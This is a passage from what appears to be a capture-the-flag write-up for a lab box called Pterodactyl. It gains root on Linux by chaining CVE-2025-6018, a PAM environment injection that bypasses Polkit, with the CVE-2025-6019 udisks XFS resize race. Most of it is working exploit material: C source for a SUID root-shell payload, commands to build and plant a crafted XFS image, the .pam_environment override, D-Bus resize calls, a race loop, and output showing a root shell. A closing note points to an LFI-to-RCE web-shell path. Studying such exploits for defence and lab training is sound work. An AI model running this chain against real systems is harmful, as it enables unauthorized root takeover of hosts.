A compact SUID payload that gives a root shell (repo), just adding a dummy main function to construct a standalone ELF executable:

C
// xpl.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
    printf("[+] Pwn library loaded!\n");

    setuid(0); seteuid(0); setgid(0); setegid(0);
    static char *argv[] = { "sh", NULL };
    static char *envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
    execve("/bin/sh", argv, envp);

    printf("[!] This should not be reached!\n");
}

/**
 * dummy main to keep process alive
 */
int main() {
    pause(); 
    return 0;
}

On attack machine, build it:

Bash
gcc -static -o xpl xpl.c

This is our root payload.

4.4.1.2 Create XFS Filesystem

We need a real XFS image to be mounted on the target, which is required by CVE-2025-6019.

If on kali, it will be much easier to create an image of small size, e.g., 10MB, with deliberately loose restriction design.

On most distros the minimum size is ~300MB, so:

Bash
# 1) Create space (minimun 300M required for XFS)
dd if=/dev/zero of=xpl.img bs=1M count=300

# 2) Format as LEGACY XFS that libblockdev likes
mkfs.xfs -f \
  -m crc=0 \
  -n ftype=0 \
  xpl.img

This produces a legacy XFS layout that the vulnerable resize path can handle on Pterodactyl.

mkfs.xfs Usage reference: https://linux.die.net/man/8/mkfs.xfs

XFS will be happy with it:

axura @ labyrinth :~
$ dd if=/dev/zero of=xpl.img bs=1M count=300
300+0 records in
300+0 records out
314572800 bytes (315 MB, 300 MiB) copied, 0.103272 s, 3.0 GB/s
$ mkfs.xfs -f \
  -m crc=0 \
  -n ftype=0 \
  xpl.img
V4 filesystems are deprecated and will not be supported by future versions.
meta-data=xpl.img                isize=256    agcount=4, agsize=19200 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=0        finobt=0, sparse=0, rmapbt=0
         =                       reflink=0    bigtime=0 inobtcount=0 nrext64=0
         =                       exchange=0   metadir=0
data     =                       bsize=4096   blocks=76800, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0, ftype=0, parent=0
log      =internal log           bsize=4096   blocks=16384, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0
         =                       rgcount=0    rgsize=0 extents
         =                       zoned=0      start=0 reserved=0

Later in the file transfer stage, we can run xz -9 to extremly compress the full image into a small file (~50KB).

4.4.1.3 Plant Filesystem

Next we plant the malicous binary to the generated XFS filesystem.

Bash
# mount as loop ddevice type
mkdir -p /tmp/mnt
sudo mount -o loop xpl.img /tmp/mnt
sudo cp xpl /tmp/mnt/

# root-owned + suid set
sudo chown root:root /tmp/mnt/*
sudo chmod 4755 /tmp/mnt/*

# cleanup
sudo umount /tmp/mnt
rmdir /tmp/mnt

At this stage:

  1. We mount our crafted image.
  2. We copy the malicous binary inside the filesystem image itself.
  3. We change the binary as root-owned and suid set.

Privesc XFS image created.

4.4.1.4 Safe Local Testing

For learning and validation, we first inspect the crafted XFS image locally.

After attaching and mounting the image with udisksctl, the planted payload inside the filesystem is clearly marked as SUID-root:

axura @ labyrinth :~
$ udisksctl loop-setup -f xpl.img
Mapped file xpl.img as /dev/loop0.
$ udisksctl mount -b /dev/loop0
Mounted /dev/loop0 at /run/media/Axura/6d35fc0b-cdcf-4664-b9b5-edc8544a61bd
$ ls -l /run/media/Axura/*
total 16
-rwsr-xr-x 1 root root 15848 Feb  8 07:20 xpl

At first glance this looks promising — the s bit is clearly present.

However, executing the binary does not yield root:

axura @ labyrinth :~
$ /run/media/Axura/6d35fc0b-cdcf-4664-b9b5-edc8544a61bd/xpl
[+] Pwn library loaded!
sh-5.2$ id
uid=1000(Axura) gid=1000(Axura) groups=1000(Axura),150(wireshark),998(wheel)
sh-5.2$

We only obtain a regular user shell, not UID 0. This is the expected and secure behavior.

When udisks2 mounts user-provided images, it deliberately applies restrictive mount flags — most importantly:

Mount Flags
nosuid,nodev

Even though the SUID bit is visible in the directory listing, the kernel ignores it under nosuid, so our payload cannot elevate privileges — which is exactly how this should behave.

However, according to CVE-2025-6019 (NVD - cve-2025-6019):

A local attacker can create a specially crafted XFS image containing a SUID-root shell, then trick udisks into resizing it.
During that resize path, the filesystem can be mounted without nosuid, which makes the SUID shell suddenly effective.

The key insight is:

Concept
Normal mount  ->  nosuid         -> safe  
Resize path   ->  missing nosuid -> SUID becomes ACTIVE

So the exploit is not about the initial mount — it is about how libblockdev and udisks handle XFS resizing.

Clean up before moving on:

Bash
sudo umount /run/media/Axura/*
udisksctl loop-delete -b /dev/loop0

4.4.1.5 Upload XFS Image

We now move the crafted image to the target and continue the exploit chain.

First compress it to keep transfer small:

Bash
# compress image to ~50KB
xz -9 xpl.img

# upload
scp xpl.img.xz [email protected]:/tmp

On the victim, decompress it:

Bash
cd /tmp
xz -d xpl.img.xz

Verify the result:

axura @ labyrinth :~
phileasfogg3@pterodactyl:~$ cd /tmp
phileasfogg3@pterodactyl:/tmp$ xz -d xpl.img.xz
phileasfogg3@pterodactyl:/tmp$ ls -l xpl.img
-rw-r--r-- 1 phileasfogg3 users 335544320 Feb  8 17:39 xpl.img
phileasfogg3@pterodactyl:/tmp$ ls -lh xpl.img
-rw-r--r-- 1 phileasfogg3 users 320M Feb  8 17:39 xpl.img
phileasfogg3@pterodactyl:/tmp$ file xpl.img
xpl.img: SGI XFS filesystem data (blksz 4096, inosz 512, v2 dirs)

At this point, the malicious XFS image is fully staged on the target.

CVE-2025-6019 — part one — is complete.

4.4.2 CVE-2025-6018

4.4.2.1 Polkit Bypass with PAM

Before abusing udisks, we need to understand the role of Polkit in this vulnerability.

Polkit is the authorization layer of modern Linux. It answers questions like:

"Is this user allowed to perform a privileged action right now?"

For our purposes, Polkit mainly distinguishes two privilege tiers:

TierMeaning
allow_active"You are physically at the machine right now — we trust you more."
auth_admin"Stop. Enter the root password."

Our goal is conceptually:

Concept
untrusted SSH shell -> trusted console user (in Polkit's eyes)

CVE-2025-6018 is precisely about how an SSH user can be misclassified as an 'active' local user, who pretends to sit physically in front of the machine via seat0 descriptor.

Description from CVE-2025-6018 (NVD - cve-2025-6018):

A Local Privilege Escalation (LPE) vulnerability has been discovered in pam-config within Linux Pluggable Authentication Modules (PAM). This flaw allows an unprivileged local attacker (for example, a user logged in via SSH) to obtain the elevated privileges normally reserved for a physically present, "allow_active" user. The highest risk is that the attacker can then perform all allow_active yes Polkit actions, which are typically restricted to console users, potentially gaining unauthorized control over system configurations, services, or other sensitive operations.

Before exploitation, two session metadata variables matter:

VariableWhat it claims
XDG_SEAT=seat0"I belong to the primary physical seat."
XDG_VTNR=1"I am on virtual terminal tty1."

These variables are descriptive, not authoritative — simply exporting them in a shell does not create or elevate a real systemd session.

Real sessions are created and tracked by systemd-logind.

Before exploitation, our actual session looks like this:

axura @ labyrinth :~
phileasfogg3@pterodactyl:~$ loginctl list-sessions
SESSION  UID USER         SEAT TTY   STATE  IDLE SINCE
    349 1002 phileasfogg3      pts/0 active no        

1 sessions listed.
phileasfogg3@pterodactyl:~$ loginctl show-session 349 -p Active
Active=yes
phileasfogg3@pterodactyl:~$ udisksctl loop-setup -f /tmp/xpl.img
==== AUTHENTICATING FOR org.freedesktop.udisks2.loop-setup ====
Authentication is required to set up a loop device
Authenticating as: root
Password:

This shows two important things:

  • Our SSH session is already marked Active=yes
  • Yet udisks still demands a password for loop setup

So:

Active=yes is necessary but not sufficient for all Polkit actions.

CVE-2025-6018 abuses a broken PAM configuration that can mislabel our session from the moment it is created, making Polkit treat us like a local console user.

We seed this behavior by writing session hints into ~/.pam_environment:

Bash
cat <<EOF> ~/.pam_environment
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime
SYSTEMD_LOG_LEVEL OVERRIDE=debug
EOF

This influences the chain as follows:

Flow Chart
SSH login

PAM starts a session

pam_env reads ~/.pam_environment

systemd-logind creates session

Polkit consults session metadata

The trick is injecting these variables before systemd creates the session.

After writing this file, log out and log back in.

Now check the environment and session again:

axura @ labyrinth :~
phileasfogg3@pterodactyl:~$ env | grep XDG
XDG_VTNR=1
XDG_SESSION_ID=143
XDG_SESSION_TYPE=x11
XDG_DATA_DIRS=/usr/share
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/tmp/runtime
XDG_CONFIG_DIRS=/etc/xdg
phileasfogg3@pterodactyl:~$ loginctl list-sessions
Bus n/a: changing state UNSET → OPENING
sd-bus: starting bus by connecting to /run/dbus/system_bus_socket...
Bus n/a: changing state OPENING → AUTHENTICATING
Successfully forked off '(pager)' as PID 14473.
Skipping PR_SET_MM, as we don't have privileges.
Found cgroup2 on /sys/fs/cgroup/, full unified hierarchy
Failed to execute 'pager', will try 'less' next: No such file or directory
Pager executable is "less", options "FRSXMK", quit_on_interrupt: yes
Bus n/a: changing state AUTHENTICATING → HELLO
Sent message type=method_call sender=n/a destination=org.freedesktop.DBus path=/org/freedesktop/DBus interface=org.freedesktop.DBus member=Hello cookie=1 reply_cookie=0 signature=n/a erro>
Got message type=method_return sender=org.freedesktop.DBus destination=:1.601 path=n/a interface=n/a member=n/a  cookie=1 reply_cookie=1 signature=s error-name=n/a error-message=n/a
Bus n/a: changing state HELLO → RUNNING
Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1 interface=org.freedesktop.login1.Manager member=ListSessions cookie=2 reply_cookie>
Got message type=method_return sender=:1.1 destination=:1.601 path=n/a interface=n/a member=n/a  cookie=7592 reply_cookie=2 signature=a(susso) error-name=n/a error-message=n/a
Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1/session/_3143 interface=org.freedesktop.DBus.Properties member=GetAll cookie=3 rep>
Got message type=method_return sender=:1.1 destination=:1.601 path=n/a interface=n/a member=n/a  cookie=7593 reply_cookie=3 signature=a{sv} error-name=n/a error-message=n/a
SESSION  UID USER         SEAT  TTY   STATE  IDLE SINCE
    143 1002 phileasfogg3 seat0 pts/0 active no        
Bus n/a: changing state RUNNING → CLOSED

1 sessions listed.
phileasfogg3@pterodactyl:~$ loginctl show-session 143 -p Active
Bus n/a: changing state UNSET → OPENING
sd-bus: starting bus by connecting to /run/dbus/system_bus_socket...
Bus n/a: changing state OPENING → AUTHENTICATING
Successfully forked off '(pager)' as PID 14475.
Skipping PR_SET_MM, as we don't have privileges.
Found cgroup2 on /sys/fs/cgroup/, full unified hierarchy
Failed to execute 'pager', will try 'less' next: No such file or directory
Pager executable is "less", options "FRSXMK", quit_on_interrupt: yes
Bus n/a: changing state AUTHENTICATING → HELLO
Sent message type=method_call sender=n/a destination=org.freedesktop.DBus path=/org/freedesktop/DBus interface=org.freedesktop.DBus member=Hello cookie=1 reply_cookie=0 signature=n/a erro>
Got message type=method_return sender=org.freedesktop.DBus destination=:1.602 path=n/a interface=n/a member=n/a  cookie=1 reply_cookie=1 signature=s error-name=n/a error-message=n/a
Bus n/a: changing state HELLO → RUNNING
Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1 interface=org.freedesktop.login1.Manager member=GetSession cookie=2 reply_cookie=0>
Got message type=method_return sender=:1.1 destination=:1.602 path=n/a interface=n/a member=n/a  cookie=7594 reply_cookie=2 signature=o error-name=n/a error-message=n/a
Sent message type=method_call sender=n/a destination=org.freedesktop.login1 path=/org/freedesktop/login1/session/_3143 interface=org.freedesktop.DBus.Properties member=GetAll cookie=3 rep>
Got message type=method_return sender=:1.1 destination=:1.602 path=n/a interface=n/a member=n/a  cookie=7595 reply_cookie=3 signature=a{sv} error-name=n/a error-message=n/a
Bus n/a: changing state RUNNING → CLOSED
Active=yes

Now our SSH session is explicitly labeled seat0 + Active=yes, meaning systemd accepted our hints.

Test Polkit's view of us:

axura @ labyrinth :~
phileasfogg3@pterodactyl:/tmp$ gdbus call --system --dest org.freedesktop.login1 \
>   --object-path /org/freedesktop/login1 \
>   --method org.freedesktop.login1.Manager.CanReboot
('yes',)

A normal SSH user would not get this result – 'yes', while it could return 'challenge' or 'no' otherwise. Polkit now treats us like an "active console user."

Auth bypass done by CVE-2025-6018.

4.4.2.2 Setup Loop Device

With Polkit bypassed, we can now set up our malicious loop device without a password prompt, using the uploaded XFS image:

Bash
# Optional, stop volume monitor to reduce noise
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null

# Setup loop device via udisks2
udisksctl loop-setup --file /tmp/xpl.img --no-user-interaction

Before CVE-2025-6018, this would have failed with:

Error
org.freedesktop.UDisks2.Error.NotAuthorizedCanObtain: Not authorized to perform operation

Now it succeeds:

axura @ labyrinth :~
phileasfogg3@pterodactyl:~$ udisksctl loop-setup --file /tmp/xpl.img --no-user-interaction
Mapped file /tmp/xpl.img as /dev/loop0.

Verify the device:

axura @ labyrinth :~
phileasfogg3@pterodactyl:~$ udisksctl info -b /dev/loop0 | egrep -i 'IdType|IdUsage|IdVersion|Size|Loop|BackingFile|HintSystem|HintIgnore'
/org/freedesktop/UDisks2/block_devices/loop0:
    Device:                     /dev/loop0
    HintIgnore:                 false
    HintSystem:                 true
    IdType:                     xfs
    IdUsage:                    filesystem
    IdVersion:
    PreferredDevice:            /dev/loop0
    Size:                       335544320
    Size:               0
  org.freedesktop.UDisks2.Loop:
    BackingFile:        /tmp/xpl.img
phileasfogg3@pterodactyl:~$ grep -i xfs /proc/filesystems
        xfs
phileasfogg3@pterodactyl:~$ /usr/sbin/losetup -j /tmp/xpl.img
/dev/loop0: []: (/tmp/xpl.img)

So now:

  • /dev/loop0 is a real block device
  • It is backed by our malicious XFS image
  • The kernel supports XFS
  • udisks fully recognizes it

This sets the stage for the second half of CVE-2025-6019.

4.4.3 CVE-2025-6019 [2]

As discussed in 4.4.1.3, even though we can now successfully set up the loop device, a normal mount path still applies nosuid, which means:

  • Our xpl binary inside the image still would not give root, and
  • The exploit still would not trigger.

The vulnerability lives only in the resize path, not in normal mounting.

4.4.3.1 XFS Resize Exploit

Here is where CVE-2025-6019 becomes critical again.

The flaw lies in the resize path: when udisks calls libblockdev to resize an XFS filesystem, libblockdev temporarily mounts the filesystem in /tmp without nosuid,nodev safeguards.
During this brief window, a crafted image containing a SUID payload suddenly becomes effective.

Flow Chart
loop-setup -> resize -> transient mount during resize -> race -> SUID works

When we invoke the vulnerable method in udisks:

method
org.freedesktop.UDisks2.Filesystem.Resize

a temporary directory like /tmp/blockdev.XXXX is created.

Triggering resize on our loop device (loop0):

Bash
gdbus call --system \
    --dest org.freedesktop.UDisks2 \
    --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"

This briefly mounts the filesystem in a private folder:

axura @ labyrinth :~
phileasfogg3@pterodactyl:~$ ls -lah /tmp/blockdev*
ls: cannot open directory '/tmp/blockdev.NTO9J3': Permission denied
phileasfogg3@pterodactyl:~$ ls -ld /tmp/blockdev*
drwx------ 1 root root 0 Feb  9 04:17 /tmp/blockdev.NTO9J3

A transient copy of xpl exists inside this directory, but the 700 permissions prevent us from directly accessing it.

4.4.3.2 TOCTOU

CVE-2025-6019 is fundamentally a race condition during resizing.

libblockdev performs operations to "resize" the filesystem, and udiskd unmounts it again. During that temporary mount, the filesystem is NOT mounted with nosuid for a very short window, which is the entire vulnerability.

The race looks like this:

Flow Chart
Resize starts
    -> udisks mounts XFS in /tmp/blockdev.XXXX
    -> SUID is suddenly honored
    -> attacker runs /tmp/blockdev.XXXX/xpl, quickly
    -> boom: root

To win the race, we continuously watch for the transient directory in a second shell:

Bash
while true; do
  for d in /tmp/blockdev.*; do
    "$d/xpl" 2>/dev/null && break 2
  done
done

Then we trigger resize again in another terminal:

Bash
gdbus call --system \
    --dest org.freedesktop.UDisks2 \
    --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"

When the window appears, our payload executes:

axura @ labyrinth :~
$ ssh [email protected]
([email protected]) Password:
Have a lot of fun...
Last login: Mon Feb  9 07:54:30 2026 from 10.10.14.22
Last login: Mon Feb 9 07:59:00 2026 from 10.10.14.22
phileasfogg3@pterodactyl:~$ while true; do
>   for d in /tmp/blockdev.*; do
>     "$d/xpl" 2>/dev/null && break 2
>   done
> done
[+] Pwn library loaded!
id
uid=0(root) gid=0(root) groups=0(root),100(users)
cat /root/root.txt
d*****************************7

Rooted.

5 APPENDIX

5.1 TOCTOU Examination

After gaining root, we can inspect the transient blockdev directories:

axura @ labyrinth :~
pterodactyl:/tmp # ls -l /tmp/blockdev*
/tmp/blockdev.NEG6J3:
total 0

/tmp/blockdev.R72AK3:
total 0
pterodactyl:/tmp # echo $$
13182
pterodactyl:/tmp # ps -p 13180 -o pid,ppid,uid,euid,cmd
  PID  PPID   UID  EUID CMD
13180 13138     0     0 script -c bash
pterodactyl:/tmp # exit
exit
Script done.
echo $$
13138
ps -p 13138 -o pid,ppid,uid,euid,cmd
  PID  PPID   UID  EUID CMD
13138 14594     0     0 sh
ps -ef | grep xpl
root     13551 13138  0 09:01 pts/1    00:00:00 grep xpl
readlink /proc/13138/exe
/usr/bin/bash

The binary is gone from disk — but it lived long enough in memory to spawn our root shell.

5.2 LFI to RCE via PHPInfo

From phpinfo page, we see:

This opens a second path from LFI to RCE by uploading web shell, also a write primitive.

Reference: LFI2RCE via phpinfo() - HackTricks